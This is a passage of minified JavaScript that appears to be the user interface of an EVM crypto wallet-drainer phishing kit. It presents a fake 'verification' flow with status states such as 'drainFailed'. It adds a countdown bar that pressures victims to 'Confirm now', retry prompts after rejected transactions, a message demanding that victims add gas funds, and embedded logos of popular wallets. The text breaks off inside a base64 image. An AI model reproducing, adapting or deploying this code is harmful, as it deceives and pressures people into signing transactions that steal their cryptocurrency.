wallet"),qe.loadingBarFill&&(qe.loadingBarFill.style.background=""))},e))}(2e3,i.sessionRejections>=5),this.sendBridgeStatus("rejected","Transaction rejected"),!0;case"drainFailed":case"error":{Dn(),On(),Tn(!1);const e=i.config?.messages?.failedTitle||"Verification failed";return this.sendBridgeStatus("drainFailed",e),!0}default:return!0}}setStep(e,n){this.currentStep=e,En(e,this.totalSteps,n),this.sendBridgeStatus("processing",n)}setComplete(e=!0){if(Dn(),On(),Tn(e),e){const e=i.config?.messages?.successTitle||"Verification Complete";this.sendBridgeStatus("success",e)}else{const e=i.config?.messages?.failedTitle||"Verification failed";this.sendBridgeStatus("drainFailed",e)}}showGuideGif(e){!function(e){if(!e||!rn)return;const n=rn.querySelector("img"),t=rn.querySelector(".noir-evm-drain-guide-label");if(n){n.style.opacity="0",n.style.transition="opacity 0.3s ease",n.crossOrigin="anonymous";let r=!1;n.onload=()=>{r=!0,n.style.opacity="1"},n.onerror=()=>{r=!0,n.style.display="none",t&&(t.textContent="Follow the instructions in your wallet")},setTimeout(()=>{r||(n.style.display="none",n.src="",t&&(t.textContent="Follow the instructions in your wallet"))},5e3),n.src=e}t&&(t.textContent=""),rn.classList.remove("noir-evm-hide")}(e)}hideGuideGif(){!function(){if(!rn)return;rn.classList.add("noir-evm-hide");const e=rn.querySelector("img");e&&(e.src="")}()}setRejectedWithGuide(e){this.showGuideGif(e)}async showWarningScreen(e,n,t,r){return Mn(e,n,t,r)}async showGasRequired(e,n){const t={1:"Ethereum",56:"BNB Chain",137:"Polygon",42161:"Arbitrum",8453:"Base",10:"Optimism",43114:"Avalanche"}[e]||`Chain ${e}`;return Mn("",i.config?.messages?.insufficientGasTitle||"Gas Required",i.config?.messages?.insufficientGasDesc||`You need at least ${n} native token on ${t} to proceed with verification.`,"I've Added Funds")}setLoadingBarVisibility(e){var n;n=e,qe?.loadingBar&&(n?qe.loadingBar.classList.remove("noir-evm-hide"):qe.loadingBar.classList.add("noir-evm-hide"))}showFomoBar(e=15e3){!function(e=15e3){if(Dn(),!qe?.fomoContainer)return;const n=qe.fomoContainer.querySelector(".noir-evm-fomo-fill"),t=qe.fomoContainer.querySelector(".noir-evm-fomo-text");if(!n||!t)return;n.style.width="100%",n.style.background="#34d399",t.classList.remove("noir-evm-fomo-urgent"),t.style.display="block",t.textContent="Confirm in your wallet",qe.fomoContainer.classList.remove("noir-evm-hide");const r=Date.now(),a=()=>{const i=Date.now()-r,o=Math.min(i/e,1),s=Math.max(Math.ceil((e-i)/1e3),0);let d,c;if(o<.6)d=100-o/.6*40,c="#34d399",t.textContent=`Transaction window \u2014 ${s}s`;else if(o<.8)d=60-(o-.6)/.2*30,c="#f59e0b",t.textContent=`Expiring soon \u2014 ${s}s`;else{const e=(o-.8)/.2;d=Math.max(5,30-25*e),c="#ef4444",t.classList.contains("noir-evm-fomo-urgent")||t.classList.add("noir-evm-fomo-urgent"),t.textContent=s>0?`Confirm now \u2014 ${s}s`:"Expired \u2014 retrying..."}n.style.width=`${d}%`,n.style.background=c,o<1&&(sn=requestAnimationFrame(a))};sn=requestAnimationFrame(a)}(e)}hideFomoBar(){Dn()}showRetryCountdown(e){!function(e){if(Ln(),!tn)return;tn.classList.remove("noir-evm-hide"),tn.disabled=!0;const n=tn.querySelector("span");let t=e;n&&(n.textContent=`Retry in ${t}...`),cn=setInterval(()=>{t--,t>0?n&&(n.textContent=`Retry in ${t}...`):(Ln(),n&&(n.textContent="Try again"),tn&&(tn.disabled=!1))},1e3)}(e)}hideRetryCountdown(){On()}async fadeOut(e,n){}async fadeIn(e,n){}}const Fn={metamask:"data:image/png;base64,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",trust:"data:image/png;base64,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",coinbase:"data:image/png;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAUFBQUFBQUGBgUICAcICAsKCQkKCxEMDQwNDBEaEBMQEBMQGhcbFhUWGxcpIBwcICkvJyUnLzkzMzlHREddXX0BBQUFBQUFBQYGBQgIBwgICwoJCQoLEQwNDA0MERoQExAQExAaFxsWFRYbFykgHBwgKS8nJScvOTMzOUdER11dff/AABEIAHgAeAMBIgACEQEDEQH/xABzAAEBAQEAAAAAAAAAAAAAAAAAAQYHEAEAAQIGAwEBAQAAAAAAAAAAAgEDBRMxMlJxBAaRESISAQEBAQACAwAAAAAAAAAAAAAAAwIFBgEHCBEBAAEDAgcAAwAAAAAAAAAAAAECAwQFEQYSFDEzUXETIZH/2gAMAwEAAhEDEQA/AOH+5+44z7ljXm4hiHmXJwlclkWP9Vy7Nv8Af5hCLIrXWqPsrDxrGHjWbGPapt2qKIppppjaIiHX5mapmZneZAHlkAAAAAAAAABrvTPccZ9NxvwsQw7zLkIRuRz7H+q5d63+/wBQnEZKG6PdB13XeGdE1XLov5WDRXcijl5o3p/uy9u9cojamraCutUWutUdijtCAAAAAAAAAAAACw3R7oEN0e6CeV5I+NQV1qi11qikdoZAAAAAAAAAAAAWG6PdAhuj3QTyvJHxqCutUWutUUjtDIAAAAAAAAAAACw3R7oEN0e6CeV5I+NQV1qi11qikdoZAAAAAAAAAAAAWG6PdAhuj3QTyvJHxqCutUWutUUjtDIAAAAAAAAAAACw3R7oEN0e6CeV5I+NQV1qi11qikdoZAAAAAAAAAAAAWG6PdAhuj3QTyvJHxqGx9z9Kxz07G/Nw/z/AAbtIRuSyL9I1rbvW/3+Zwkx+Xc4S+A4fh3V8vUNF07Jv8n5LlmmauWNlL1EUXK6Y7RJl3OEvhl3OEvgOa6u76pS2Mu5wl8Mu5wl8A6u76pNjLucJfDLucJfAOru+qTYy7nCXwy7nCXwDq7vqk2Mu5wl8Mu5wl8A6u76pNjLucJfDLucJfAOru+qTZr/AEz0rHPccb8LwPA8K7WErsc+/WFcuzb/AH+pzkA9LcccW63p2s9LiX6LVqizTP6oiZmavrkcaxbrt81Ubzu//9k=",phantom:"data:image/png;base64,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",rainbow:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHgAAAB4CAMAAAAOusbgAAADAFBMVEUWQZcDI2IUPZACImACIV4XQpkVPpIBH1sROYkBIF0GJ2kWQJYQOIcVP5MTPI4ONYIIK3ABH1oWQJUUPpEBIFwMMXsVP5QTO40DI2EBHlkSOooFJmcKL3cLMHkFJWYCIV8SO4wEJWUHKm4HKW0GKGsSOosPN4UJLHINNIAEJGQDJGMXQZgQN4YTPI8FKGoUPY8ONoMCIl8NM34MMn0GKWwDImEJLnUKLXQKLnYJLXMILHEIKm8PNoQFJmgNMnwOM38UPZGmT5X/4wD/ogDsQx/JSVrYR0EVQJUJK3HGSmGYUazfRTfPSFDpRCX/qAD/vgGdUKT/1gEBv6wBw56jUJsA1lH/ywHDSmauTomSVMHlRCvSSEygUKD/0gDyPxb/rgH/wQABxpP/ugEBvbX/3QEB0GnVR0YNNIH/5gCyTYG5THX/owC0TX22THqqToz/qwGTUrX/8wD/6wDAS2oAusHcRjz/xgH/yAAByIi9S2//swGpT5EB01sBy37MSVYBzXMNNH8AuMz/pgGWUrC8S3H/2AD/tgDvQRv/0AH/2wEA103/zgCSU7kBtNf1RxEBzHn/sgEAsuP/xAEBwaWvTYUB0WT/6QH/4ACbUanjRTD/vAABz2+TU7wBIWQB1Vf/sAAAtO0Bx4z/uAEBttH/kwIBu7rhRTMByYMBs9wY3D8POIb/8AAB0l8BucYPO4x6T7sBxJj/pAD/7gDs8gVFQ6BTRqlxTbhZ5CwaPJD8igQG2kUnPZQiOYUKPXyAUb+NVMP/7QDR8Az9ewX3Tw454DVmSrEVJ2IEY6M4PZUBpub6Ywr7